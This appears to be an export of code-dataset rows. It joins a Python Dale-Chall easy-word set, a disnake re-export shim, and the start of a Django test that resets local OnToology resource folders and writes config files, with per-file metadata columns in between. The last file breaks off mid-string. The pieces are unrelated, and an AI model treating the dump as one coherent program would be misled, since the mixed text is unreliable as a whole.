] | 1 | 2018-05-12T18:27:10.000Z | 2018-05-12T18:27:10.000Z | dale_chall_words = set(["a", "able", "aboard", "about", "above", "absent", "accept", "accident", "account", "ache", "aching", "acorn", "acre", "across", "act", "acts", "add", "address", "admire", "adventure", "afar", "afraid", "after", "afternoon", "afterward", "afterwards", "again", "against", "age", "aged", "ago", "agree", "ah", "ahead", "aid", "aim", "air", "airfield", "airplane", "airport", "airship", "airy", "alarm", "alike", "alive", "all", "alley", "alligator", "allow", "almost", "alone", "along", "aloud", "already", "also", "always", "am", "america", "american", "among", "amount", "an", "and", "angel", "anger", "angry", "animal", "another", "answer", "ant", "any", "anybody", "anyhow", "anyone", "anything", "anyway", "anywhere", "apart", "apartment", "ape", "apiece", "appear", "apple", "april", "apron", "are", "aren't", "arise", "arithmetic", "arm", "armful", "army", "arose", "around", "arrange", "arrive", "arrived", "arrow", "art", "artist", "as", "ash", "ashes", "aside", "ask", "asleep", "at", "ate", "attack", "attend", "attention", "august", "aunt", "author", "auto", "automobile", "autumn", "avenue", "awake", "awaken", "away", "awful", "awfully", "awhile", "ax", "axe", "baa", "babe", "babies", "back", "background", "backward", "backwards", "bacon", "bad", "badge", "badly", "bag", "bake", "baker", "bakery", "baking", "ball", "balloon", "banana", "band", "bandage", "bang", "banjo", "bank", "banker", "bar", "barber", "bare", "barefoot", "barely", "bark", "barn", "barrel", "base", "baseball", "basement", "basket", "bat", "batch", "bath", "bathe", "bathing", "bathroom", "bathtub", "battle", "battleship", "bay", "be", "beach", "bead", "beam", "bean", "bear", "beard", "beast", "beat", "beating", "beautiful", "beautify", "beauty", "became", "because", "become", "becoming", "bed", "bedbug", "bedroom", "bedspread", "bedtime", "bee", "beech", "beef", "beefsteak", "beehive", "been", "beer", "beet", "before", "beg", "began", "beggar", "begged", "begin", "beginning", "begun", "behave", "behind", "being", "believe", "bell", "belong", "below", "belt", "bench", "bend", "beneath", "bent", "berries", "berry", "beside", "besides", "best", "bet", "better", "between", "bib", "bible", "bicycle", "bid", "big", "bigger", "bill", "billboard", "bin", "bind", "bird", "birth", "birthday", "biscuit", "bit", "bite", "biting", "bitter", "black", "blackberry", "blackbird", "blackboard", "blackness", "blacksmith", "blame", "blank", "blanket", "blast", "blaze", "bleed", "bless", "blessing", "blew", "blind", "blindfold", "blinds", "block", "blood", "bloom", "blossom", "blot", "blow", "blue", "blueberry", "bluebird", "bluejay", "blush", "board", "boast", "boat", "bob", "bobwhite", "bodies", "body", "boil", "boiler", "bold", "bone", "bonnet", "boo", "book", "bookcase", "bookkeeper", "boom", "boot", "born", "borrow", "boss", "both", "bother", "bottle", "bottom", "bought", "bounce", "bow", "bow-wow", "bowl", "box", "boxcar", "boxer", "boxes", "boy", "boyhood", "bracelet", "brain", "brake", "bran", "branch", "brass", "brave", "bread", "break", "breakfast", "breast", "breath", "breathe", "breeze", "brick", "bride", "bridge", "bright", "brightness", "bring", "broad", "broadcast", "broke", "broken", "brook", "broom", "brother", "brought", "brown", "brush", "bubble", "bucket", "buckle", "bud", "buffalo", "bug", "buggy", "build", "building", "built", "bulb", "bull", "bullet", "bum", "bumblebee", "bump", "bun", "bunch", "bundle", "bunny", "burn", "burst", "bury", "bus", "bush", "bushel", "business", "busy", "but", "butcher", "butt", "butter", "buttercup", "butterfly", "buttermilk", "butterscotch", "button", "buttonhole", "buy", "buzz", "by", "bye", "cab", "cabbage", "cabin", "cabinet", "cackle", "cage", "cake", "calendar", "calf", "call", "caller", "calling", "came", "camel", "camp", "campfire", "can", "can't", "canal", "canary", "candle", "candlestick", "candy", "cane", "cannon", "cannot", "canoe", "canyon", "cap", "cape", "capital", "captain", "car", "card", "cardboard", "care", "careful", "careless", "carelessness", "carload", "carpenter", "carpet", "carriage", "carrot", "carry", "cart", "carve", "case", "cash", "cashier", "castle", "cat", "catbird", "catch", "catcher", "caterpillar", "catfish", "catsup", "cattle", "caught", "cause", "cave", "ceiling", "cell", "cellar", "cent", "center", "cereal", "certain", "certainly", "chain", "chair", "chalk", "champion", "chance", "change", "chap", "charge", "charm", "chart", "chase", "chatter", "cheap", "cheat", "check", "checkers", "cheek", "cheer", "cheese", "cherry", "chest", "chew", "chick", "chicken", "chief", "child", "childhood", "children", "chill", "chilly", "chimney", "chin", "china", "chip", "chipmunk", "chocolate", "choice", "choose", "chop", "chorus", "chose", "chosen", "christen", "christmas", "church", "churn", "cigarette", "circle", "circus", "citizen", "city", "clang", "clap", "class", "classmate", "classroom", "claw", "clay", "clean", "cleaner", "clear", "clerk", "clever", "click", "cliff", "climb", "clip", "cloak", "clock", "close", "closet", "cloth", "clothes", "clothing", "cloud", "cloudy", "clover", "clown", "club", "cluck", "clump", "coach", "coal", "coast", "coat", "cob", "cobbler", "cocoa", "coconut", "cocoon", "cod", "codfish", "coffee", "coffeepot", "coin", "cold", "collar", "college", "color", "colored", "colt", "column", "comb", "come", "comfort", "comic", "coming", "company", "compare", "conductor", "cone", "connect", "coo", "cook", "cooked", "cookie", "cookies", "cooking", "cooky", "cool", "cooler", "coop", "copper", "copy", "cord", "cork", "corn", "corner", "correct", "cost", "cot", "cottage", "cotton", "couch", "cough", "could", "couldn't", "count", "counter", "country", "county", "course", "court", "cousin", "cover", "cow", "coward", "cowardly", "cowboy", "cozy", "crab", "crack", "cracker", "cradle", "cramps", "cranberry", "crank", "cranky", "crash", "crawl", "crazy", "cream", "creamy", "creek", "creep", "crept", "cried", "cries", "croak", "crook", "crooked", "crop", "cross", "cross-eyed", "crossing", "crow", "crowd", "crowded", "crown", "cruel", "crumb", "crumble", "crush", "crust", "cry", "cub", "cuff", "cuff", "cup", "cup", "cupboard", "cupful", "cure", "curl", "curly", "curtain", "curve", "cushion", "custard", "customer", "cut", "cute", "cutting", "dab", "dad", "daddy", "daily", "dairy", "daisy", "dalf", "dam", "damage", "dame", "damp", "dance", "dancer", "dancing", "dandy", "danger", "dangerous", "dare", "dark", "darkness", "darling", "darn", "dart", "dash", "date", "daughter", "dawn", "day", "daybreak", "daytime", "dead", "deaf", "deal", "dear", "death", "december", "decide", "deck", "deed", "deep", "deer", "defeat", "defend", "defense", "delight", "den", "dentist", "depend", "deposit", "describe", "desert", "deserve", "desire", "desk", "destroy", "devil", "dew", "diamond", "did", "didn't", "die", "died", "dies", "difference", "different", "dig", "dim", "dime", "dine", "ding-dong", "dinner", "dip", "direct", "direction", "dirt", "dirty", "discover", "dish", "dislike", "dismiss", "ditch", "dive", "diver", "divide", "do", "dock", "doctor", "does", "doesn't", "dog", "doll", "dollar", "dolly", "don't", "done", "donkey", "door", "doorbell", "doorknob", "doorstep", "dope", "dot", "double", "dough", "dove", "down", "downstairs", "downtown", "dozen", "drag", "drain", "drank", "draw", "draw", "drawer", "drawing", "dream", "dress", "dresser", "dressmaker", "drew", "dried", "drift", "drill", "drink", "drip", "drive", "driven", "driver", "drop", "drove", "drown", "drowsy", "drub", "drum", "drunk", "dry", "duck", "due", "dug", "dull", "dumb", "dump", "during", "dust", "dusty", "duty", "dwarf", "dwell", "dwelt", "dying", "each", "eager", "eagle", "ear", "early", "earn", "earth", "east", "eastern", "easy", "eat", "eaten", "edge", "egg", "eh", "eight", "eighteen", "eighth", "eighty", "either", "elbow", "elder", "eldest", "electric", "electricity", "elephant", "eleven", "elf", "elm", "else", "elsewhere", "empty", "end", "ending", "enemy", "engine", "engineer", "english", "enjoy", "enough", "enter", "envelope", "equal", "erase", "eraser", "errand", "escape", "eve", "even", "evening", "ever", "every", "everybody", "everyday", "everyone", "everything", "everywhere", "evil", "exact", "except", "exchange", "excited", "exciting", "excuse", "exit", "expect", "explain", "extra", "eye", "eyebrow", "fable", "face", "facing", "fact", "factory", "fail", "faint", "fair", "fairy", "faith", "fake", "fall", "false", "family", "fan", "fancy", "far", "far-off", "faraway", "fare", "farm", "farmer", "farming", "farther", "fashion", "fast", "fasten", "fat", "father", "fault", "favor", "favorite", "fear", "feast", "feather", "february", "fed", "feed", "feel", "feet", "fell", "fellow", "felt", "fence", "fever", "few", "fib", "fiddle", "field", "fife", "fifteen", "fifth", "fifty", "fig", "fight", "figure", "file", "fill", "film", "finally", "find", "fine", "finger", "finish", "fire", "firearm", "firecracker", "fireplace", "fireworks", "firing", "first", "fish", "fisherman", "fist", "fit", "fits", "five", "fix", "flag", "flake", "flame", "flap", "flash", "flashlight", "flat", "flea", "flesh", "flew", "flies", "flight", "flip", "flip-flop", "float", "flock", "flood", "floor", "flop", "flour", "flow", "flower", "flowery", "flutter", "fly", "foam", "fog", "foggy", "fold", "folks", "follow", "following", "fond", "food", "fool", "foolish", "foot", "football", "footprint", "for", "forehead", "forest", "forget", "forgive", "forgot", "forgotten", "fork", "form", "fort", "forth", "fortune", "forty", "forward", "fought", "found", "fountain", "four", "fourteen", "fourth", "fox", "frame", "free", "freedom", "freeze", "freight", "french", "fresh", "fret", "friday", "fried", "friend", "friendly", "friendship", "frighten", "frog", "from", "front", "frost", "frown", "froze", "fruit", "fry", "fudge", "fuel", "full", "fully", "fun", "funny", "fur", "furniture", "further", "fuzzy", "gain", "gallon", "gallop", "game", "gang", "garage", "garbage", "garden", "gas", "gasoline", "gate", "gather", "gave", "gay", "gear", "geese", "general", "gentle", "gentleman", "gentlemen", "geography", "get", "getting", "giant", "gift", "gingerbread", "girl", "give", "given", "giving", "glad", "gladly", "glance", "glass", "glasses", "gleam", "glide", "glory", "glove", "glow", "glue", "go", "goal", "goat", "gobble", "god", "god", "godmother", "goes", "going", "gold", "golden", "goldfish", "golf", "gone", "good", "good-by", "good-bye", "good-looking", "goodbye", "goodbye", "goodness", "goods", "goody", "goose", "gooseberry", "got", "govern", "government", "gown", "grab", "gracious", "grade", "grain", "grand", "grandchild", "grandchildren", "granddaughter", "grandfather", "grandma", "grandmother", "grandpa", "grandson", "grandstand", "grape", "grapefruit", "grapes", "grass", "grasshopper", "grateful", "grave", "gravel", "graveyard", "gravy", "gray", "graze", "grease", "great", "green", "greet", "grew", "grind", "groan", "grocery", "ground", "group", "grove", "grow", "guard", "guess", "guest", "guide", "gulf", "gum", "gun", "gunpowder", "guy", "ha", "habit", "had", "hadn't", "hail", "hair", "haircut", "hairpin", "half", "hall", "halt", "ham", "hammer", "hand", "handful", "handkerchief", "handle", "handwriting", "hang", "happen", "happily", "happiness", "happy", "harbor", "hard", "hardly", "hardship", "hardware", "hare", "hark", "harm", "harness", "harp", "harvest", "has", "hasn't", "haste", "hasten", "hasty", "hat", "hatch", "hatchet", "hate", "haul", "have", "haven't", "having", "hawk", "hay", "hayfield", "haystack", "he", "he'd", "he'll", "he's", "head", "headache", "heal", "health", "healthy", "heap", "hear", "heard", "hearing", "heart", "heat", "heater", "heaven", "heavy", "heel", "height", "held", "hell", "hello", "helmet", "help", "helper", "helpful", "hem", "hen", "henhouse", "her", "herd", "here", "here's", "hero", "hers", "herself", "hey", "hickory", "hid", "hidden", "hide", "high", "highway", "hill", "hillside", "hilltop", "hilly", "him", "himself", "hind", "hint", "hip", "hire", "his", "hiss", "history", "hit", "hitch", "hive", "ho", "hoe", "hog", "hold", "holder", "hole", "holiday", "hollow", "holy", "home", "homely", "homesick", "honest", "honey", "honeybee", "honeymoon", "honk", "honor", "hood", "hoof", "hook", "hoop", "hop", "hope", "hopeful", "hopeless", "horn", "horse", "horseback", "horseshoe", "hose", "hospital", "host", "hot", "hotel", "hound", "hour", "house", "housetop", "housewife", "housework", "how", "however", "howl", "hug", "huge", "hum", "humble", "hump", "hundred", "hung", "hunger", "hungry", "hunk", "hunt", "hunter", "hurrah", "hurried", "hurry", "hurt", "husband", "hush", "hut", "hymn", "i", "i'd", "i'll", "i'm", "i've", "ice", "icy", "idea", "ideal", "if", "ill", "important", "impossible", "improve", "in", "inch", "inches", "income", "indeed", "indian", "indoors", "ink", "inn", "insect", "inside", "instant", "instead", "insult", "intend", "interested", "interesting", "into", "invite", "iron", "is", "island", "isn't", "it", "it's", "its", "itself", "ivory", "ivy", "jacket", "jacks", "jail", "jam", "january", "jar", "jaw", "jay", "jelly", "jellyfish", "jerk", "jig", "job", "jockey", "join", "joke", "joking", "jolly", "journey", "joy", "joyful", "joyous", "judge", "jug", "juice", "juicy", "july", "jump", "june", "junior", "junk", "just", "keen", "keep", "kept", "kettle", "key", "kick", "kid", "kill", "killed", "kind", "kindly", "kindness", "king", "kingdom", "kiss", "kitchen", "kite", "kitten", "kitty", "knee", "kneel", "knew", "knife", "knit", "knives", "knob", "knock", "knot", "know", "known", "lace", "lad", "ladder", "ladies", "lady", "laid", "lake", "lamb", "lame", "lamp", "land", "lane", "language", "lantern", "lap", "lard", "large", "lash", "lass", "last", "late", "laugh", "laundry", "law", "lawn", "lawyer", "lay", "lazy", "lead", "leader", "leaf", "leak", "lean", "leap", "learn", "learned", "least", "leather", "leave", "leaving", "led", "left", "leg", "lemon", "lemonade", "lend", "length", "less", "lesson", "let", "let's", "letter", "letting", "lettuce", "level", "liberty", "library", "lice", "lick", "lid", "lie", "life", "lift", "light", "lightness", "lightning", "like", "likely", "liking", "lily", "limb", "lime", "limp", "line", "linen", "lion", "lip", "list", "listen", "lit", "little", "live", "lively", "liver", "lives", "living", "lizard", "load", "loaf", "loan", "loaves", "lock", "locomotive", "log", "lone", "lonely", "lonesome", "long", "look", "lookout", "loop", "loose", "lord", "lose", "loser", "loss", "lost", "lot", "loud", "love", "lovely", "lover", "low", "luck", "lucky", "lumber", "lump", "lunch", "lying", "ma", "machine", "machinery", "mad", "made", "magazine", "magic", "maid", "mail", "mailbox", "mailman", "major", "make", "making", "male", "mama", "mamma", "man", "manager", "mane", "manger", "many", "map", "maple", "marble", "march", "march", "mare", "mark", "market", "marriage", "married", "marry", "mask", "mast", "master", "mat", "match", "matter", "mattress", "may", "may", "maybe", "mayor", "maypole", "me", "meadow", "meal", "mean", "means", "meant", "measure", "meat", "medicine", "meet", "meeting", "melt", "member", "men", "mend", "meow", "merry", "mess", "message", "met", "metal", "mew", "mice", "middle", "midnight", "might", "mighty", "mile", "miler", "milk", "milkman", "mill", "million", "mind", "mine", "miner", "mint", "minute", "mirror", "mischief", "miss", "miss", "misspell", "mistake", "misty", "mitt", "mitten", "mix", "moment", "monday", "money", "monkey", "month", "moo", "moon", "moonlight", "moose", "mop", "more", "morning", "morrow", "moss", "most", "mostly", "mother", "motor", "mount", "mountain", "mouse", "mouth", "move", "movie", "movies", "moving", "mow", "mr.", "mrs.", "much", "mud", "muddy", "mug", "mule", "multiply", "murder", "music", "must", "my", "myself", "nail", "name", "nap", "napkin", "narrow", "nasty", "naughty", "navy", "near", "nearby", "nearly", "neat", "neck", "necktie", "need", "needle", "needn't", "negro", "neighbor", "neighborhood", "neither", "nerve", "nest", "net", "never", "nevermore", "new", "news", "newspaper", "next", "nibble", "nice", "nickel", "night", "nightgown", "nine", "nineteen", "ninety", "no", "nobody", "nod", "noise", "noisy", "none", "noon", "nor", "north", "northern", "nose", "not", "note", "nothing", "notice", "november", "now", "nowhere", "number", "nurse", "nut", "o'clock", "oak", "oar", "oatmeal", "oats", "obey", "ocean", "october", "odd", "of", "off", "offer", "office", "officer", "often", "oh", "oil", "old", "old-fashioned", "on", "once", "one", "onion", "only", "onward", "open", "or", "orange", "orchard", "order", "ore", "organ", "other", "otherwise", "ouch", "ought", "our", "ours", "ourselves", "out", "outdoors", "outfit", "outlaw", "outline", "outside", "outward", "oven", "over", "overalls", "overcoat", "overeat", "overhead", "overhear", "overnight", "overturn", "owe", "owing", "owl", "own", "owner", "ox", "pa", "pace", "pack", "package", "pad", "page", "paid", "pail", "pain", "painful", "paint", "painter", "painting", "pair", "pal", "palace", "pale", "pan", "pancake", "pane", "pansy", "pants", "papa", "paper", "parade", "pardon", "parent", "park", "part", "partly", "partner", "party", "pass", "passenger", "past", "paste", "pasture", "pat", "patch", "path", "patter", "pave", "pavement", "paw", "pay", "payment", "pea", "peace", "peaceful", "peach", "peaches", "peak", "peanut", "pear", "pearl", "peas", "peck", "peek", "peel", "peep", "peg", "pen", "pencil", "penny", "people", "pepper", "peppermint", "perfume", "perhaps", "person", "pet", "phone", "piano", "pick", "pickle", "picnic", "picture", "pie", "piece", "pig", "pigeon", "piggy", "pile", "pill", "pillow", "pin", "pine", "pineapple", "pink", "pint", "pipe", "pistol", "pit", "pitch", "pitcher", "pity", "place", "plain", "plan", "plane", "plant", "plate", "platform", "platter", "play", "player", "playground", "playhouse", "playmate", "plaything", "pleasant", "please", "pleasure", "plenty", "plow", "plug", "plum", "pocket", "pocketbook", "poem", "point", "poison", "poke", "pole", "police", "policeman", "polish", "polite", "pond", "ponies", "pony", "pool", "poor", "pop", "popcorn", "popped", "porch", "pork", "possible", "post", "postage", "postman", "pot", "potato", "potatoes", "pound", "pour", "powder", "power", "powerful", "praise", "pray", "prayer", "prepare", "present", "pretty", "price", "prick", "prince", "princess", "print", "prison", "prize", "promise", "proper", "protect", "proud", "prove", "prune", "public", "puddle", "puff", "pull", "pump", "pumpkin", "punch", "punish", "pup", "pupil", "puppy", "pure", "purple", "purse", "push", "puss", "pussy", "pussycat", "put", "putting", "puzzle", "quack", "quart", "quarter", "queen", "queer", "question", "quick", "quickly", "quiet", "quilt", "quit", "quite", "rabbit", "race", "rack", "radio", "radish", "rag", "rail", "railroad", "railway", "rain", "rainbow", "rainy", "raise", "raisin", "rake", "ram", "ran", "ranch", "rang", "rap", "rapidly", "rat", "rate", "rather", "rattle", "raw", "ray", "reach", "read", "reader", "reading", "ready", "real", "really", "reap", "rear", "reason", "rebuild", "receive", "recess", "record", "red", "redbird", "redbreast", "refuse", "reindeer", "rejoice", "remain", "remember", "remind", "remove", "rent", "repair", "repay", "repeat", "report", "rest", "return", "review", "reward", "rib", "ribbon", "rice", "rich", "rid", "riddle", "ride", "rider", "riding", "right", "rim", "ring", "rip", "ripe", "rise", "rising", "river", "road", "roadside", "roar", "roast", "rob", "robber", "robe", "robin", "rock", "rocket", "rocky", "rode", "roll", "roller", "roof", "room", "rooster", "root", "rope", "rose", "rosebud", "rot", "rotten", "rough", "round", "route", "row", "rowboat", "royal", "rub", "rubbed", "rubber", "rubbish", "rug", "rule", "ruler", "rumble", "run", "rung", "runner", "running", "rush", "rust", "rusty", "rye", "sack", "sad", "saddle", "sadness", "safe", "safety", "said", "sail", "sailboat", "sailor", "saint", "salad", "sale", "salt", "same", "sand", "sandwich", "sandy", "sang", "sank", "sap", "sash", "sat", "satin", "satisfactory", "saturday", "sausage", "savage", "save", "savings", "saw", "say", "scab", "scales", "scare", "scarf", "school", "schoolboy", "schoolhouse", "schoolmaster", "schoolroom", "scorch", "score", "scrap", "scrape", "scratch", "scream", "screen", "screw", "scrub", "sea", "seal", "seam", "search", "season", "seat", "second", "secret", "see", "seed", "seeing", "seek", "seem", "seen", "seesaw", "select", "self", "selfish", "sell", "send", "sense", "sent", "sentence", "separate", "september", "servant", "serve", "service", "set", "setting", "settle", "settlement", "seven", "seventeen", "seventh", "seventy", "several", "sew", "shade", "shadow", "shady", "shake", "shaker", "shaking", "shall", "shame", "shan't", "shape", "share", "sharp", "shave", "she", "she'd", "she'll", "she's", "shear", "shears", "shed", "sheep", "sheet", "shelf", "shell", "shepherd", "shine", "shining", "shiny", "ship", "shirt", "shock", "shoe", "shoemaker", "shone", "shook", "shoot", "shop", "shopping", "shore", "short", "shot", "should", "shoulder", "shouldn't", "shout", "shovel", "show", "shower", "shut", "shy", "sick", "sickness", "side", "sidewalk", "sideways", "sigh", "sight", "sign", "silence", "silent", "silk", "sill", "silly", "silver", "simple", "sin", "since", "sing", "singer", "single", "sink", "sip", "sir", "sis", "sissy", "sister", "sit", "sitting", "six", "sixteen", "sixth", "sixty", "size", "skate", "skater", "ski", "skin", "skip", "skirt", "sky", "slam", "slap", "slate", "slave", "sled", "sleep", "sleepy", "sleeve", "sleigh", "slept", "slice", "slid", "slide", "sling", "slip", "slipped", "slipper", "slippery", "slit", "slow", "slowly", "sly", "smack", "small", "smart", "smell", "smile", "smoke", "smooth", "snail", "snake", "snap", "snapping", "sneeze", "snow", "snowball", "snowflake", "snowy", "snuff", "snug", "so", "soak", "soap", "sob", "socks", "sod", "soda", "sofa", "soft", "soil", "sold", "soldier", "sole", "some", "somebody", "somehow", "someone", "something", "sometime", "sometimes", "somewhere", "son", "song", "soon", "sore", "sorrow", "sorry", "sort", "soul", "sound", "soup", "sour", "south", "southern", "space", "spade", "spank", "sparrow", "speak", "speaker", "spear", "speech", "speed", "spell", "spelling", "spend", "spent", "spider", "spike", "spill", "spin", "spinach", "spirit", "spit", "splash", "spoil", "spoke", "spook", "spoon", "sport", "spot", "spread", "spring", "springtime", "sprinkle", "square", "squash", "squeak", "squeeze", "squirrel", "stable", "stack", "stage", "stair", "stall", "stamp", "stand", "star", "stare", "start", "starve", "state", "states", "station", "stay", "steak", "steal", "steam", "steamboat", "steamer", "steel", "steep", "steeple", "steer", "stem", "step", "stepping", "stick", "sticky", "stiff", "still", "stillness", "sting", "stir", "stitch", "stock", "stocking", "stole", "stone", "stood", "stool", "stoop", "stop", "stopped", "stopping", "store", "stories", "stork", "storm", "stormy", "story", "stove", "straight", "strange", "stranger", "strap", "straw", "strawberry", "stream", "street", "stretch", "string", "strip", "stripes", "strong", "stuck", "study", "stuff", "stump", "stung", "subject", "such", "suck", "sudden", "suffer", "sugar", "suit", "sum", "summer", "sun", "sunday", "sunflower", "sung", "sunk", "sunlight", "sunny", "sunrise", "sunset", "sunshine", "supper", "suppose", "sure", "surely", "surface", "surprise", "swallow", "swam", "swamp", "swan", "swat", "swear", "sweat", "sweater", "sweep", "sweet", "sweetheart", "sweetness", "swell", "swept", "swift", "swim", "swimming", "swing", "switch", "sword", "swore", "table", "tablecloth", "tablespoon", "tablet", "tack", "tag", "tail", "tailor", "take", "taken", "taking", "tale", "talk", "talker", "tall", "tame", "tan", "tank", "tap", "tape", "tar", "tardy", "task", "taste", "taught", "tax", "tea", "teach", "teacher", "team", "tear", "tease", "teaspoon", "teeth", "telephone", "tell", "temper", "ten", "tennis", "tent", "term", "terrible", "test", "than", "thank", "thankful", "thanks", "thanksgiving", "that", "that's", "the", "theater", "thee", "their", "them", "then", "there", "these", "they", "they'd", "they'll", "they're", "they've", "thick", "thief", "thimble", "thin", "thing", "think", "third", "thirsty", "thirteen", "thirty", "this", "tho", "thorn", "those", "though", "thought", "thousand", "thread", "three", "threw", "throat", "throne", "through", "throw", "thrown", "thumb", "thunder", "thursday", "thy", "tick", "ticket", "tickle", "tie", "tiger", "tight", "till", "time", "tin", "tinkle", "tiny", "tip", "tiptoe", "tire", "tired", "tis", "title", "to", "toad", "toadstool", "toast", "tobacco", "today", "toe", "together", "toilet", "told", "tomato", "tomorrow", "ton", "tone", "tongue", "tonight", "too", "took", "tool", "toot", "tooth", "toothbrush", "toothpick", "top", "tore", "torn", "toss", "touch", "tow", "toward", "towards", "towel", "tower", "town", "toy", "trace", "track", "trade", "train", "tramp", "trap", "tray", "treasure", "treat", "tree", "trick", "tricycle", "tried", "trim", "trip", "trolley", "trouble", "truck", "true", "truly", "trunk", "trust", "truth", "try", "tub", "tuesday", "tug", "tulip", "tumble", "tune", "tunnel", "turkey", "turn", "turtle", "twelve", "twenty", "twice", "twig", "twin", "two", "ugly", "umbrella", "uncle", "under", "understand", "underwear", "undress", "unfair", "unfinished", "unfold", "unfriendly", "unhappy", "unhurt", "uniform", "united", "unkind", "unknown", "unless", "unpleasant", "until", "unwilling", "up", "upon", "upper", "upset", "upside", "upstairs", "uptown", "upward", "us", "use", "used", "useful", "valentine", "valley", "valuable", "value", "vase", "vegetable", "velvet", "very", "vessel", "victory", "view", "village", "vine", "violet", "visit", "visitor", "voice", "vote", "wag", "wagon", "waist", "wait", "wake", "waken", "walk", "wall", "walnut", "want", "war", "warm", "warn", "was", "wash", "washer", "washtub", "wasn't", "waste", "watch", "watchman", "water", "watermelon", "waterproof", "wave", "wax", "way", "wayside", "we", "we'd", "we'll", "we're", "we've", "weak", "weaken", "weakness", "wealth", "weapon", "wear", "weary", "weather", "weave", "web", "wedding", "wednesday", "wee", "weed", "week", "weep", "weigh", "welcome", "well", "went", "were", "west", "western", "wet", "whale", "what", "what's", "wheat", "wheel", "when", "whenever", "where", "which", "while", "whip", "whipped", "whirl", "whiskey", "whisky", "whisper", "whistle", "white", "who", "who'd", "who'll", "who's", "whole", "whom", "whose", "why", "wicked", "wide", "wife", "wiggle", "wild", "wildcat", "will", "willing", "willow", "win", "wind", "windmill", "window", "windy", "wine", "wing", "wink", "winner", "winter", "wipe", "wire", "wise", "wish", "wit", "witch", "with", "without", "woke", "wolf", "woman", "women", "won", "won't", "wonder", "wonderful", "wood", "wooden", "woodpecker", "woods", "wool", "woolen", "word", "wore", "work", "worker", "workman", "world", "worm", "worn", "worry", "worse", "worst", "worth", "would", "wouldn't", "wound", "wove", "wrap", "wrapped", "wreck", "wren", "wring", "write", "writing", "written", "wrong", "wrote", "wrung", "yard", "yarn", "year", "yell", "yellow", "yes", "yesterday", "yet", "yolk", "yonder", "you", "you'd", "you'll", "you're", "you've", "young", "youngster", "your", "yours", "yourself", "yourselves", "youth"])
| 13,799.5 | 27,598 | 0.569405 | 3,015 | 27,599 | 5.211609 | 0.969154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.107142 | 27,599 | 1 | 27,599 | 27,599 | 0.637651 | 0 | 0 | 0 | 0 | 0 | 0.570818 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 1 | 0 | 7 |
edb957b5f5a605a88414bc963645b5f9059d2e46 | 164 | py | Python | discord/ext/commands/ctx_menus_core.py | kuzaku-developers/disnake | 61cc1ad4c2bafd39726a1447c85f7e469e41af10 | [
"MIT"
] | null | null | null | discord/ext/commands/ctx_menus_core.py | kuzaku-developers/disnake | 61cc1ad4c2bafd39726a1447c85f7e469e41af10 | [
"MIT"
] | null | null | null | discord/ext/commands/ctx_menus_core.py | kuzaku-developers/disnake | 61cc1ad4c2bafd39726a1447c85f7e469e41af10 | [
"MIT"
] | null | null | null | from disnake.ext.commands.ctx_menus_core import *
from disnake.ext.commands.ctx_menus_core import __dict__ as __original_dict__
locals().update(__original_dict__)
| 32.8 | 77 | 0.853659 | 24 | 164 | 5.083333 | 0.541667 | 0.180328 | 0.229508 | 0.360656 | 0.655738 | 0.655738 | 0.655738 | 0.655738 | 0 | 0 | 0 | 0 | 0.073171 | 164 | 4 | 78 | 41 | 0.802632 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
b68487e46fef3d7ae627d014230c86d26eb2441b | 9,968 | py | Python | OnToology/tests/test_api_actions.py | nvbach91/OnToology | c136db35b5d97d75fa3538cac429f149e162a2e3 | [
"Apache-2.0"
] | null | null | null | OnToology/tests/test_api_actions.py | nvbach91/OnToology | c136db35b5d97d75fa3538cac429f149e162a2e3 | [
"Apache-2.0"
] | null | null | null | OnToology/tests/test_api_actions.py | nvbach91/OnToology | c136db35b5d97d75fa3538cac429f149e162a2e3 | [
"Apache-2.0"
] | null | null | null | import json
import string
import random
import shutil
import os
from subprocess import call
from api_util import create_user, create_repo, delete_all_repos_from_db, get_repo_resource_dir, clone_if_not
from django.test import Client
from unittest import TestCase
from OnToology.models import OUser, Repo
class TestActionAPIs(TestCase):
def setUp(self):
if len(OUser.objects.all()) == 0:
create_user()
self.url = 'ahmad88me/ontoology-auto-test-no-res'
self.user = OUser.objects.all()[0]
def test_generate_all_check_generated_resources_slash(self):
import OnToology.settings as settings
resources_dir = get_repo_resource_dir(os.environ['test_user_email'])
# The below two assertion is to protect the deletion of important files
self.assertEqual(resources_dir.split('/')[-1], 'OnToology', msg='might be a wrong resources dir OnToology')
self.assertIn(os.environ['test_user_email'], resources_dir, msg='might be a wrong resources dir or wrong user')
# print "will delete %s" % resources_dir
# comm = "rm -Rf %s" % resources_dir
# print comm
settings.test_conf['local'] = True
settings.test_conf['fork'] = False
settings.test_conf['clone'] = False
settings.test_conf['push'] = False
settings.test_conf['pull'] = False
delete_all_repos_from_db()
create_repo()
# If the setup is not to clone a fresh copy then check if it exists, if not then clone
if settings.test_conf['clone'] is False:
clone_if_not(resources_dir, self.url)
if not os.path.exists(resources_dir):
os.mkdir(resources_dir)
ontology_dir = os.path.join(resources_dir, 'alo.owl')
if os.path.exists(ontology_dir):
shutil.rmtree(ontology_dir)
os.mkdir(ontology_dir)
ontology_dir = os.path.join(resources_dir, 'geolinkeddata.owl')
if os.path.exists(ontology_dir):
shutil.rmtree(ontology_dir)
os.mkdir(ontology_dir)
# inject the configuration file
f = open(os.path.join(resources_dir, 'alo.owl/OnToology.cfg'), 'w')
conf_file_content = """
[ar2dtool]
enable = True
[widoco]
enable = False
languages = en,es,it
[oops]
enable = True
[owl2jsonld]
enable = True
"""
f.write(conf_file_content)
f.close()
# inject the configuration file with the multi-lang
f = open(os.path.join(resources_dir, 'geolinkeddata.owl/OnToology.cfg'), 'w')
conf_file_content = """
[ar2dtool]
enable = False
